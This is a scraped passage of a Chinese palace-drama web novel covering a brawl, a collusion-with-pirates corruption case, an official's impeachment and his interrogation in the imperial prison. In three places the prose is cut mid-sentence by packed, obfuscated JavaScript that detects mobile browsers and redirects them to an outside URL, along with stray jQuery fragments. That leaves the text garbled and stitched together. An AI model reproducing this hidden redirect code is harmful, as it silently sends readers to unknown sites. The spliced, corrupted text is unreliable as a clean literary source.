可却没有人作答,只是如雨打沙滩般疯狂的砸着门,仿佛要直接将这道门撞烂。 冯内监不得已指使了个宦官去看看究竟是哪个兔崽子在闹事,谁知门刚一拉开,一个拳头大的石块迎面而来,当时就见了血。 “阿澈……” 夏绫睁开眼,见阿澈手里拎着根捣衣棒,疯了一样的打进屋来。 冯内监见自己的人挂了花,啐了口唾沫,对手下几个狗腿子吼道:“揍他!” 几个人抄起家伙,朝着阿澈扑了过去。 他们从屋内扭打到了屋外。阿澈不知道哪里生出来的蛮力,拎着棍子抡了上去,和那几个人扭打在一起。 可阿澈不如他们高,又寡不敌众,没多会就败下阵来。几个人将他撂倒在地上,发了狠在他身上又踢又踹。阿澈抱着头,在一片尘土飞扬的殴打中没有一点机会还手。 夏绫真是快疯了。 她拾起墙边一根最粗的棍子,不管不顾的也冲了上去。 夏绫朝着一人脑后狠打下去,顾不得自己身上挨了多少棒子,只死死抓住手中的柴棍,拼尽全力将他们从阿澈身边赶开。 她的加入让阿澈有了一丝反抗的空间。仗着身量敏捷,阿澈翻身别住了一个宦官的脚,将他掀翻在地上,继而飞速抽过地上的麻绳,套在了那宦官的咽喉处。 阿澈额头上被豁开了一条口子,血流了半边脸。他将手中的麻绳死死勒紧,冷厉的与其他几人对峙着,仿佛一尊披了血的罗刹。 “都住手,不然我勒死他。” 阿澈将麻绳往后狠狠一勒,那宦官登时脸憋成了紫色,手脚无力的胡乱挣扎着。 “行啊小子,”那冯姓宦官啐到,“那婆娘将你藏的挺好,一直以为你是只病猫呢,没想到是个狗崽子。” 阿澈不为所动,手中的力道只是越来越狠。眼见着那宦官进气少了,他却没半点手软,似乎是真的动了杀心。 他这不要命的样子着实吓人。对面几个人也忌惮会闹出人命来,后退一步:“你松手,今天这事,就当没发生过。” 阿澈阴恻恻的一笑。 他单手攥住麻绳的一端,贴着那宦官脖子上的油皮,狠力抽了出来。粗粝的绳子从肉皮上划过,那人的咽喉正中瞬间被磨出了一条血痕。 阿澈抬脚将那人踹回给他的同伙,咬着牙说:“滚。” 他眼前一阵阵发黑,硬撑着待那些人走远了,才身子一软,栽在了地上。 “阿澈!” 夏绫从背后接住他,让阿澈一条手臂搭在自己身上,撑着他的重量将他扶起来。 “走,我带你回去上药!” 阿澈头上的伤虽然吓人,但其实只是破了点油皮,倒是身上,被那群人踢的青一块紫一块,一碰就疼。 夏绫接了温水,用帕子一点点将阿澈脸上的血擦干净。没有了血污后,狰狞的伤口绽出粉色的嫩肉,夏绫看着阿澈满身的伤,喉咙一涩,眼泪就落了下来。 “嘶——” 阿澈被夏绫碰疼了些,一口凉气吸进去,却没听见有回声。他抬起头,看见夏绫抿着嘴,眼泪大滴大滴的往下落。 “啧,哭什么?”阿澈将帕子拿过来,自己捂在头上,“刚才那一架不是打的挺痛快的么,你怎么还哭了?” 夏绫哑着嗓子说:“我怕你留疤。” “嗐,留就留呗,我又不去跟人比美。”阿澈满不在乎的站起身来,恨恨道,“对那群混蛋就是不能惯着。乔乔,要是之后他们还敢碰你,别忍着不说,我见一次揍他们一次!” 想起方才被侵犯时的那种恐惧,夏绫哭的更凶了。 这怎么还哄不好了?阿澈手忙脚乱的,抬起还没洗的手,就想给夏绫擦眼泪。 “别弄,”夏绫将他齁脏的手打开,又哭又笑的,“脏死了。” 阿澈嗤嗤笑了起来,小姑娘咋这么爱哭呢。 夏绫用手背把眼泪抹干净:“我煮饭去,薇姨快回来了。” 阿澈懒洋洋的说:“多煮点,我今天得吃一大碗。” 此时已入仲春,天光渐长,傅薇回来的时候,天还没有黑透。 她今日似乎有些不太舒服。傅薇走的很慢,一手捂着肚子,身子有些佝偻。见到夏绫,她好像松了口气:“乔乔,能不能给姨倒杯热水喝。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12912948|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女子。但她这份试卷上却没有批注名次,现在六局中也没有这样一个人,不知是怎样的际遇。” 夏绫听来也觉得唏嘘。 借这机会,她又将这篇文章细细读了一遍,其中既有对家乡遭遇倭寇劫掠的如泣如诉,又有祈盼朝廷抗击异族侵略的拳拳之心。再读一遍,夏绫依然被这些文字搅动的心潮澎湃,她一口气读到了末尾。 直到,有两个字闯入她的眼帘。 这份稿子,与宁澈桌案上那一份唯一的差别,在于它上面有落款。 夏绫心中怦然一震。 傅薇。 落款的位置上,工工整整的写着两个字。傅薇。 一瞬间,夏绫的心中似有风暴掠过。不只是因为她偶然间见到了故人手书,心中对傅薇的怀念又平地而起,更是因为,透过尘封的纸张,夏绫心念转了几转,忽而想通了许多事情。 她还有阿澈,从未去探究过傅薇的过去,毕竟在他们同傅薇相识时,她就已经是一个母亲,一个长辈,所以他们理所应当的认为,她是一个穷困且卑微的女子。 可是—— 阿澈的生日是十月十三,往前推算,傅薇被宣明帝临幸的时间,大概就是在二月初,女官考试刚刚结束的时候。 所以,那个时候的她,都经历过什么? 一边干活,一边苦读,数载寒窗,她终于写出来一份对得起自己的答卷,满以为很快就能通过自己的努力触碰到希望。 就在这时,那个男人闯进了她的生命中。 再之后,贵妃排挤她,皇帝根本不记得她,她被丢弃到浣衣局去,曾经的所有付出都被抹掉,还要一个人生下孩子。 她心里得有多苦,多恨啊。 “苒苒,”夏绫倏而抬眸,“如果某一天,皇上突然宠幸了你,你不能考女官了,也没有任何名分,还要被打发去浣衣局,一个人在那里生孩子养孩子,你该怎么办?” 方苒十分不解的看着夏绫:“绫儿,你为什么要这么问?听着怪瘆人的。要真是这样,那也……太惨了吧。” 是啊,太惨了。 夏绫追问:“那你会怎么想?那个孩子,你又会如何对待他?” 方苒见夏绫问的坚决,想了想道:“坦白讲,如果真有那样一个孩子,我可能会想尽一切办法不让他生下来。如果必须要生这样一个孩子,那我一定也没办法说服自己去爱他。” 巧了,夏绫也是这么想的。 那傅薇呢?况且她那个时候比夏绫此时的年纪还要小几岁,不过十七八,敏感,细腻,又憧憬着自己的人生该如何展开。 所有的一切,在那一夜,全都成为了灰烬。 “苒苒,我不能再难过了。”夏绫强迫自己打起精神来,“我没有时间再容许自己伤春悲秋了,我还有更重要的事情要做。” 夏绫回到自己的住处,坐在明窗之前,铺开一张白纸,用镇纸展平。 这是她许久之前就想做的事,用文字记录下她所认识的傅薇。可她又太害怕面对回忆时自己翻涌的情绪,所以就一直搁置着迟迟没有动笔。 可她现在不怕了。 人生在世,□□终会在时间的流逝中消弭于尘埃,可唯有文字,百千年之后依旧不朽。 她要将与傅薇相关的点滴都记录下来,以期后世儿孙中终归有人能读懂她。 从哪开始写起呢? 夏绫思量良久,落笔写下第一段话。 宣明十六年,在浣衣局,我遇到了生命中最重要的一个人。在此后很长的一段岁月里,我听到过有人喊她娘,有人喊她婆子,有人喊她丫头,更多的人称呼她为傅娘娘。但我知道,她叫傅薇,是我见过最好看的女子。 81. 图穷匕见 当夏绫桌案上的稿纸堆了有一指厚时,审问井上三郎的案卷也经锦衣卫递入的乾清宫。 经北镇抚司和刑部日夜不停的刑讯,终于在井上三郎口中撬出了一个惊天的供状。 在山东都司的上层官员中,确有人同倭寇有所勾连。有人同倭贼头领在私下里谈过一笔交易,在倭寇登陆劫掠时,守军可以睁一只眼闭一只眼,抢来的财物要按三七分成。但分得的财物官府并不会私吞,而是拿来赈灾,表面上在救济平民,但其更远图谋的,是朝廷拨发的赈灾款及军费,借此方法,以寇养兵。 当宁澈看到这份奏议时,久久未语,只是咔嚓一声,将握在手中的笔杆子单手折成了两截。 夏绫在听到这件事时,也惊得说不出话来。那些人,食着朝廷的俸禄,受着百姓的供奉,他们怎么敢啊。 夏绫领着小铃铛回来时,正看到庄衡和钟义寒正在乾清宫的廊下候旨。自井上三郎落网后,庄衡和钟义寒一直都忙着审讯,夏绫又一直窝在□□,几人确是有段时日没碰面了。 “庄大人,钟大人。”夏绫上前打招呼到。 两人同还礼,钟义寒道:“小乔公公,许久不见。听闻您前段时日病了,可已大好了?” 夏绫点头到:“是,已经痊愈了,多谢您挂心。二位大人怎的在殿外等着,不进去吗?” 她见这二人,一个胡茬没来得及剃,一个眼下乌青一片,就知他们为了倭寇的事定是夙兴夜寐了。 庄衡低声答道:“倭寇供出来的事干系重大,且此事目前暂属机密,还未引起过大的动荡。陛下是觉着,从一个倭寇嘴里供出这事太不好看,且拿一个非我族类之人的供述去开罪我朝的官员也听来易让人寒心,所以陛下召了都察院的几位大人来,想借言官之口先上奏弹劾,以此为由再介入查证便名正言顺了。毕竟是大燕自己朝廷里的事,还是该关起门来自己解决。臣与钟大人是想在此处再多等一会,以免陛下有什么要问的,能随时进去回禀。” 夏绫抿嘴笑了一下:“还是庄大人想的周到。” 钟义寒却幽幽耸了下肩:“庄大人您是周到了,倒是在下得在这跟您一同干晾着了。” 夏绫拧了拧眉毛,这俩人是又有什么矛盾了? 庄衡拱手解释道:“实在是跟北镇抚司一同办案这段时日将钟大人用苦了些。而且……钟大人住的地方不还给烧了么,就更多了一重辛苦。” 对哦,夏绫怎么忘了,抓倭寇的那一晚上把钟义寒房子给烧了个底掉。 “钟大人,那您最近都住哪了?” “刑部衙门。”钟义寒干巴巴的答到,“有没有住的地方倒也无所谓,反正也没工夫回家。” “呃……”夏绫都禁不住有些同情他了,“那您一会出宫之后,嗯,还得?” 钟义寒自嘲一笑:“直接就回刑部了。何况,臣还有一件大事没做完呢。” 夏绫与庄衡面面相觑,现在除了山东都司通倭之事外,还能有什么大事? 不过很快,夏绫就知道了答案。 翌日清晨,都察院弹劾山东巡抚韩山岐的奏疏,便经由通政使司递到了内阁。几位阁臣看过后,亦觉非同小可,当即出了票拟,恳请圣上下旨彻查有无。 可就在次日,另有一封弹劾奏疏紧随其后进了通政司,彻底让朝廷炸了锅。奏疏当中弹劾了山东巡抚,布政使司,按察使司,都指挥使司以及中央吏部、户部等官员共计一十三人。其中非但条理清晰的痛陈其贪墨之行,后面甚至附了一本厚账,林林总总记录了自宣明二十六年至今几人之间私下分赃的交易,所涉赃款上至朝廷拨款,下至苛捐杂税,记录详实。 除此之外,奏疏中细细写明了刑部与北镇抚司对一倭寇的秘密审讯记录,其中的通倭行径,更是砸实了被弹劾几人的贪墨之嫌,就如一盆凉水泼进来一锅滚烫的热油中,霎时在朝廷上下掀起了惊涛骇浪。 而在奏疏末尾,清晰而坦然的落着几个笔画遒劲的字迹:刑部右侍郎,钟义寒。 夏绫进乾清宫时,正赶上一封奏疏从御书房凌空飞出来,像块破抹布一样摔在了她的脚下。 紧接着,便听到宁澈气急败坏的声音从里间传来:“疯了,这人真他妈是疯了!” 在近前伺候的内侍皆心中戚戚,吓得跪了一地。 夏绫拾起脚边的奏疏,见正是钟义寒写的那一份。 “陛下。”她进了暖阁,叫了宁澈一声。 宁澈见是她来了,挥手让侍候的人都退下去,只留了何敬在跟前。 “对不住乔乔,”宁澈狠狠掐了下自己的眉心,“我不是冲你。” “嗯,我知道。”夏绫将那份奏疏又放回到他的桌案上,“是冲钟大人。” 看见钟义寒的弹劾疏,宁澈心头的火又开始呼呼往外冒,骂到:“这人有病吧?人话是听不懂吗?” 这次他是真的动了怒。因为倭寇牵扯出来的事,他知道其中利益定是盘根错节,也不知道会拉多少人下水。所以他私心想着,至少先把事实摸透,他心里有个底,再决断如何处理,也不至于急功近利砸了整个摊子。 况且,通倭这件事是他通过锦衣卫暗中查出来的,无异于给前庭释放了一个信号,皇帝是不信任你们嗒,表面上看着君圣臣贤,其实早就在暗戳戳的查你们呐。 现在可好了,钟义寒一封奏疏将天捅了个窟窿,他是落了个直言上谏的好名声,合着恶人就得宁澈自己一个人当呗! 夏绫只道:“他能听懂,只不过他是故意想这样做的。” 宁澈一口气噎在喉咙里,没听懂夏绫这句话想表达的思想感情,半天说了句:“啊?” 何敬看夏绫这不是像来灭火的,紧着救场:“主子息怒。” “姑娘,钟大人这回做的是过了些。而且……”他顿了顿,似是有难言之隐,“而且,他这折子里将纪文征纪大人也一并参了,若是将娘娘也牵扯进来,要如何收场呢。” 纪瑶的父亲?夏绫愣了一下。 “他怎么也卷进这件事中来了呢?” 宁澈冷笑:“看这账簿上的记录,他还没少拿。” 夏绫低头想了想,可再抬起头来的时候,她的眼神却变得很清明。 “阿澈,可我还是觉得,这件事钟大人没有做错。”她坦诚自己心中的想法,“山东那位姓韩的巡抚大人,我是有印象的,在我小的时候,他在扬州任知府。那时我爹亡故,家中艰难,可发下来的抚恤银子就那么一点,我母亲去找了许多衙门讨说法,但都吃了闭门羹,不得已只能去卖儿卖女。” “我不知道这位韩大人当时有没有参与盘剥过本应发给我家的抚恤银,可是在我们这些无力反抗的平民心中,多么希望当时能有像钟大人这样的人可以为我们说说话,我们的要求并不高,只是想要一条活下去的路。我相信,因为官府的贪墨和不作为,流离失所的百姓不止我们这一家,我也相信,钟大人在写下这份奏疏的时候,心中一定也做好了承担后果的决心。可是他这样做,对他来说又有什么好处呢?他是在搭上身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928120|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家性命,为我们这些没有门路让陛下听到我们声音的人说话啊。” 夏绫的眼神始终都很清亮:“但现在我有门路了,我很幸运,我现在说的每一句话,皇上都会认认真真的听。所以在这件事情上,我也想要保护钟大人一次。我想让钟大人,以及更多在犹豫是否还要对朝廷抱有期待的人知道,这世上仍还有人在做对的事情,也永远会有人记得他们所做出的付出,即便芸芸众生力量微末如蝼蚁,但我们心中是常怀感激的。” 她的话,像一股淙淙而过的清泉,宁澈承认,自己心里的烈火,是被她给浇的偃旗息鼓。可是,烧过之后的焦土仍在,他并不觉得好受到哪里去了。 “乔乔,”宁澈苦笑了下,“他这可真是给我出了个大难题啊。” “阿澈,你觉得难,是因为你想把这件事做好。”夏绫的神色很温和,却又很坚定,“我知道,这让你很难做。而且,纪大人看起来也搅在了这里面,我私心里也很不希望娘娘受到任何伤害。但我依旧认为,做了错事的人,就应当为他们犯下的错误而承担代价,也应当向因他们的贪心而受到伤害的人谢罪。” 宁澈坐下来,让自己冷静了片刻。 扪心自问,他活这么大,遇到的难事不在少数,可这次的事让他尤其不爽,更多的原因还是因为,钟义寒这把算计的太漂亮了。 从最开始给夏绫送银票,到后来饭桌上大谈对倭寇的见解,再到后面想尽办法参与到抓倭贼的事情中来,其目的都是为了接近权力的中心,就是为了今日的图穷匕现。 而宁澈,竟还真在他的一次次剑走偏锋中对他产生了兴趣,甚至靠着猎奇的心理,真将他放到了刑部侍郎的位置上,就是想看看他到底能搅合出什么风浪来。 钟义寒最初虽说自己想去刑部或工部,但他在吏部时势必暗中了解过,只有刑部能在近些日子空出缺来。而一旦他坐上了刑部的位置,审案断案是他职责之内的事,如今一封奏疏搅得天翻地覆,在律法上却一点都挑不出他的错处。 宁澈都不由得感叹,高明,实在是高明啊。连他自己竟也是钟义寒算计中的一环,甚至自己还是心甘情愿的,将他推上了这个行事便利的位置。 但是,作为皇帝,宁澈很不喜欢这种被人算计与拿捏的感觉,更不喜欢有臣子用这种超出他掌控的方式,逼他就范。钟义寒他既然敢做,那他就该考虑事后的后果。不就是耍流氓吗,他钟义寒能耍,自己就耍不得了? 宁澈淡淡对何敬吩咐了句:“传庄衡过来。” 庄衡依旧来的很快,只不过今日的指挥使大人,显得有些狼狈。 “怎么了?” 庄衡行礼回禀道:“陛下,科道的言官在午门外闹起来了,说是要联名上谏,恳求陛下严惩通倭罪人。特别是……特别是皇亲国戚,请陛下更不要姑息。” 宁澈凉嗖嗖的哼笑两声:“他们味儿倒是闻的快。” 这就是钟义寒想看到的局面。用这种鱼死网破的方式,让事情呈于光天化日之下,用众人悠悠之口,逼君王严惩当事者,不容许一点姑息。 “行,要掀摊子是吧,那朕就陪着一块掀。”宁澈拍桌站起身来,“朕给北镇抚司便宜行事之权,去彻查山东都司通倭一事。朕不管你们用什么手段,朕要看到的,是最真实的事实。” 庄衡俯身称是。 “另外,钟义寒这个人。”宁澈摆弄着自己手上的扳指,漫不经意的道,“他房子不是被烧了么?那正好,这段时日,就让他先去诏狱里住吧。” 82. 二进诏狱 秋风乍起,风云阴翳,厚重的云层盘踞在北京城上空,遮蔽了日光。 漕河旁的刑部衙门,被一队负甲携刀的锦衣卫破开了朱漆大门。冷风霎时灌进院子,将正堂两侧的银杏树叶吹的瑟瑟作响。 东西各值房皆户门禁闭,无人敢在此时出来妨碍公务。在朝为官的人都心中明白,这种架势,是北镇抚司又要拿人了。 庄衡带人径直往刑部右侍郎的值房走去。房门内没有上锁,庄衡推门进去,便见那身着赭红色官服的文官,淡然的坐在桌案后,仍旧伏案书写着些什么。 听到声音,钟义寒将案卷上最后几个字写完,才搁下笔,抬头轻笑了一下:“庄衡大人,恭候多时了。” 庄衡蹙了蹙眉心。 此时的钟义寒,身上的那股玩世不恭荡然无存,正襟危坐于圈椅之内,竟有一种从容就义的凛然。 或许这才是他真实的模样。 “钟大人,你为什么要这样做?” 就在不久前,庄衡与他还是并肩而战的盟友。不过才短短几日,两人竟已站在了对立面上。 钟义寒双手交叠在身前,淡淡答到:“因为想让他们死。” 庄衡沉声问:“他们死了,对你又有什么好处?” “好处?”钟义寒玩味着这两个字,却陡然提高了声音,“难道他们不该死么!” 这些人,拿着民脂民膏,去享受富贵荣华,去供养他们的妻女。他们的妻子,披金戴银,在下人的伺候下打牌嬉笑。他们的女儿,得以享受琴棋书画的教育,养成闺阁中娇滴滴的小姐。 可被他们盘剥的人呢? 父亲死后,拿不到抚恤银,他病的快死了,可母亲筹不到钱去给他治病。若非如此,又怎么会……卖掉他的妹妹,把那么小的女孩子送入风尘之地。 后来,即便他改了名姓,但这笔账从未在他心头勾销。凭什么,他们能和乐安康,自己却就得家破人亡! 这天底下所有贪墨的官员,都该死。 庄衡无言看着他,内心竟有一丝的震颤。 “他们是该死。可是钟大人,你不该同皇上对着干。” 钟义寒却笑了出来。 “庄大人说这话,臣倒是有些听不懂了。皇上是明君,此事也定是要彻查的,臣不过是把暗中查访到的证据贡献出来,省了陛下去查证的力气,怎还能算是对着干呢?” 庄衡知道,钟义寒是打定主意要硬顶下去了,也不再同他多言,只道:“钟大人,请吧。” 钟义寒倒也从容。他提袍起身,闲庭信步往囚车走去,衣袖一甩,留下一片朗月清风。 北镇抚司诏狱,这地方钟义寒不是第一回来。只不过上次来的时候,他是坐在审判官的位置,看着被审讯的倭寇被刑具一寸寸撕开皮肉。他亲手从人犯口中,撬出他最想听到的供词。 而现在,他却坐在了刑椅之上,变成了阶下囚。 咔嗒两声冷音,钟义寒的双手被固定在了刑椅之上。 他有些挑衅的看向坐在主审位置上的庄衡:“庄大人,要对臣用刑,至少也要有个理由吧。臣是犯了哪条律法了?还请明示。” 庄衡并不吃他这一套。 “钟大人,北镇抚司不是刑部,没有您讲道理的地方。只要皇上想要整治你,还需要理由么?” 钟义寒挑了下眉,不过旋即又笑了出来,慵懒的倚上靠背道:“行,那就来吧。” 但庄衡又说:“可是,在下还是想劝劝钟大人,不要逞能。作为朋友,我还是想和您先心平气和的聊聊天。” 朋友? 这两个字,让钟义寒有一瞬的怔忡。 他嘲讽的抽了下唇角:“有我这样的朋友,庄大人不觉得倒霉么。” 庄衡摇摇头:“不,正相反,我很佩服钟大人的勇气。所以,以朋友的身份,我也想对您说句肺腑之言。钟大人您想做孤臣,可只有活着的才是孤臣,死了的只能叫孤魂。” 钟义寒皱了皱眉,有些难以置信的盯着庄衡。在做这件事情之前,他靠的是一腔孤勇,也做好了承担任何后果的准备。可是庄衡这句话,却戳中了他内心深处某个连他自己都在刻意回避的想法。 他想活吗?想活。 他想活着,不是因为怕死,而是他觉得,自己活着还能做更多的事情。 他的身体并不很好。拜幼时家中贫困所赐,得过几场急病,回回都要去鬼门关走一遭。他甚至埋怨过母亲,为什么卖掉的是妹妹,留下他这样一个病秧子,养也养不活。 母亲不说话,只是坐在他身边默默垂泪。 后来母亲改嫁了继父,让他的境况好了许多。可毕竟幼时的沉疴早已积下,即便到如今,也仍是孱弱。 可他还有许多想做的事情。 他想去打倭寇,承袭父亲未竟的事业。他想肃清贪官虫豸,还百姓一个清明天下。他还想找到已失散多年的妹妹,无论她变成了什么样,后半生他都会倾尽一切去呵护她。 钟义寒闭上眼,良久,落下一声喟叹。 “庄衡大人,您想问什么,请尽管问吧。” 庄衡颔首,话已至此,无需多言。 他正色,以主审官的身份发问道:“钟大人,你与山东巡抚韩山岐,有私仇么?” 钟义寒思量片刻,承认到:“有。臣在福建任知县时,韩大人是当地的知府。有回臣在查账时,发现火耗银数目不对,于是找韩大人去理论。但韩大人觉得臣是在无理取闹,非但将臣从衙门里打了出去,还罚臣在雨里跪了一夜。那晚之后,臣重病了一场,差点死在任上,那之后便记恨上了韩大人,心想君子报仇十年不晚,必要找到些把柄将他扳倒。” 庄衡没有马上说话,而是上下打量着钟义寒,似乎在判断他说的这些是否是事情。 钟义寒迎着庄衡的目光,可无人注意到,在衣袖之下,他的双手却隐隐攥紧了刑椅的扶手。 这件事确实是发生过的,他算不得说谎。只不过,真正记恨上韩山岐的时间,比这还要早上许多。 庄衡晾了他片刻,继续问到:“那我是否可以理解为,钟大人这次弹劾韩山岐,更多的原因是你想借这机会公报私仇,落井下石?” 钟义寒下意识的舔了舔上唇。 庄衡的意思他听明白了。他这一封奏疏捅出去,相当于是打了皇上的脸。言官最喜欢标榜这种不畏死敢直谏的人,相比之下,那里外不是人的肯定就是皇上了。现在庄衡短短几句话,让他认了自己是为了公报私仇,显得他的形象没那么光明正直,皇上的面子上自然就好看了许多。 景熙陛下这是摆明了要跟他耍流氓了。 可他心中却轻松许多,庄衡不再追究他与韩山岐的私仇究竟因何而起,让他暗中舒了口气。 “是,我是为了公报私仇,就是想将韩山岐拉下水。” 对于他如此爽快的认头,庄衡还是存了三分赞许的。他又问:“那这些证据,钟大人是如何收集的呢?” 钟义寒答:“想要人不知,除非己莫为。但凡做过的事情,一定会留下痕迹的。况且,收集这些证据,并非我一人之力。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941678|125276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 庄衡挑眉:“这么说的话,钟大人是还有同伙?” 钟义寒摇头说:“不是同伙,而是万民。这些人中,有贩夫走卒,有仕子乞儿,也有虽混迹官场但仍心存良知之人。他们中的许多人,我甚至都不认识,但提到要搜集证据,他们却能像朋友兄弟一样竭尽全力。当权者之所以能肆无忌惮的盘剥,无非是觉得贫民弱小,翻不出什么风浪来。但他们却忽视了,贫民也是人,会挣扎,会痛恨,亦会作为星火燎原。” 钟义寒所说的这些话,庄衡未做置评,只是原原本本的记录了下来。 庄衡又问了几个问题,随后将整理好的供状递到钟义寒面前:“钟大人,如果没有什么异议的话,请画押吧。” 钟义寒草草看过,见上面写的基本都是他方才说过的话,没有什么犹豫,摁手印画了押。 “庄大人,臣这次行事莽撞,陷陛下于不义,虽是无奈之举,但毕竟是做了错事,臣之后会自己上书向陛下谢罪。但臣还有些话,如果可以的话,烦请钟大人代我禀明陛下。” 庄衡点头:“请讲。” 钟义寒抬眸,虽处暗室之内,他眼眸中却似有星火跳抖,映照诸天。 “天下非小,草泽之人至广且众。其看似至微至弱,卑如埃尘,不过是因为还能活得下去,所以忍气吞声。可一旦将其逼入绝境,驱之使乱,逼之令反,则亦至刚至强,如洪流,如猛兽,颠扑莫救。皇上为天下之君父,草泽万姓亦君父子民,万望陛下勿偏颇而爱某,勿私心而护某,匹夫匹妇亦敬陛下之高远,亦求君父之仁爱。[1]” 草泽万姓。 明堂之内,宁澈看着纸面之上他亲手写下的这四个字,久久未言。 抬头举目,见窗格外树叶随风而动,一片黄叶脱离的枝干,施施然飘落而下。 夏绫正在一旁帮他研墨,见宁澈似怔了神,问他:“看什么呢?” “哦,”宁澈回眸,应她道,“又入秋了。” 今日在朝议之上,他正式颁下了严旨,会彻查山东都司通倭一案,无论何人,绝不姑息。这无异于是对天下人做出了一句承诺,青天尚在,昭雪有时。 他亦憎恨贪官污吏,也认为这是他应该走的正道。可他听着何敬一字一句的宣读旨意,看着文武官员跪伏在地上高呼圣上英明,他心中却没有半分拨云见日的畅快。 无可否认,这其中绝大部分原因,是因为他要查处的人当中包括纪文征,若按民间的说法,自己或许应当称那人为丈人爹。 宁澈初见到纪文征的名字也出现在弹劾疏中时,心中惊怒非常。他并不是恨纪文征拿了多少银子,而是他作为一个父亲,纪瑶唯一的亲人,怎么可以这么不负责任,将自己的女儿推入两难之地。 对于纪瑶,宁澈同她并无夫妻之实,待她也算不上呵护,对这个被迫嫁入天家的女子,他更多存的是歉疚,同情,或者怜悯。但即便如此,他至少愿意给她作为皇后的尊重。 他认真想过,如果没有钟义寒那封搅得石破天惊的奏疏,他对纪文征应当如何处置。有很大可能,他真的会用自己的权力包庇他一回,既是想替庄靖太后还纪瑶一个人情,也是不想真的凉薄到对正妻的父亲没有半分宽宥。 而如今这样被推了一把,对他自己其实没有任何损失,甚至史书上还会记一笔景熙皇帝是大义灭亲的明君。只不过,纪瑶的日子要不好过了。 可事已至此,开弓已没有回头箭。 “乔乔,”宁澈阖上双眼,疲惫的枕着靠背,“我要做好当孤家寡人的准备了。” 83. 旧年人情 今年秋天,雨水格外多。 在阴晴不定的风云中,朝廷对于通倭一事的查处徐徐铺开了血雨腥风。 八月十三,吏部侍郎为保家中妻小,留下一封谢罪书,畏罪自尽。 十七,户部尚书府邸被查抄,搜出金银近百万两,地契田庄的价值更难以估量。 于此同时,地方各州府的弹劾奏疏如雪片般涌入京城,树倒猢狲散,墙倒众人推。 及至九月,北镇抚司及大理寺在山东府当地的查处也基本肃清,数以百计的案卷被快马加急送往京城,案情详实,铁证如山。其中涉案官员共计二十二人,全部由北镇抚司押送上京,后移交三法司等待处决。 人犯入京那天,夏绫同宁澈讨了个人情,到正阳门外去亲眼看着那些人被押送进三法司。据查,韩山岐在十几年前便已事涉贪腐,在扬州任知府时,就私下收揽了不少官银,其中便也包括本应发给殉国将士的抚恤。 这么看来,夏绫幼时所历经的惨淡,其中不无他的手笔。 夏绫站在箭楼上,远远看着肩带重枷的罪人,佝偻着腰背,拖拉着镣铐,在军卫严密的押送下,缓缓步入城门。 这些人曾经颐指气使,呼风唤雨,要一个老百姓的性命甚至比踩死一直蚂蚁还要简单。如今看来,在没有官服加身时,他们也与微末之人无异。不过是因为手中有了权力,他们自以为生出了爪牙,做了禽兽。 现在目睹这些人得到了应有的报偿,夏绫本应该开心的,可是她并没有。她只是有些遗憾,原本她也可以有被母亲兄长疼爱的童年。 许是站的高,夏绫的眼睛被风吹的有些发涩。她望着押送犯人的队伍冗长而缓慢的穿过城门,忽注意到,在队伍后面还跟着许多老百姓。 夏绫问身边人道:“庄衡大人,怎么还有这许多人跟着呢?” 庄衡答到:“这些都是从山东一路跟过来的百姓。他们当中,有的人被盘剥的流离失所,有的人被迫害的妻离子散,也有人在权贵的重压下蒙冤不得雪。他们是自发跟着来到京城的,要亲眼看着贪官被正法,然后想去承天门外磕个头,感念陛下的仁德。” 夏绫心中百感交集,这就是千百年在这片土地上生活的草泽万民,坚强不屈的生生不息,所求不过四个字,安居乐业。 “对了夏姑娘,还有一事。”庄衡说着,自袖间摸出一封薄信递给夏绫。 “这是?” 夏绫接过,见这信无名无款,信口甚至都没有封住,单薄到只有一张纸的重量。 庄衡同她解释:“自妖书案时,陛下命臣等到山东查访,许若见到纪大人,可带一封家书给娘娘。彼时纪大人说他一切安好,并无赘言需落在纸面上。可如今,纪大人又同陛下讨了恩典,求能再给娘娘写一封家书。” 夏绫的脸色冷了下来:“他这个时候又想起来求娘娘救他了?” 庄衡却摇头:“不是求娘娘救他,而是恳求娘娘,千万不要救他。” 夏绫半晌未语,再开口时不由得带了几分薄怒:“他到底在做什么啊!” 庄衡叹了口气,望向渐行渐远的人群:“家务私事,大概也只有他们父女之间能明白了。” 在那群衣衫褴褛的囚犯中,队伍的倒数第二个人,便是纪文征。他并没有因为是皇后的父亲而受到半分优待,同样也带着重枷,从山东一路被押来了北京。 那人本就骨相清瘦,又是文人,没吃过什么皮肉之苦,在枷锁的重压之下腰比旁人更低了几分。不过短短几日,他的头发已白了大半,松散杂乱。有谁知,他也曾是金陵城被人抛花砸中的翩翩少年郎。 回宫后,夏绫独自往永宁宫走去。 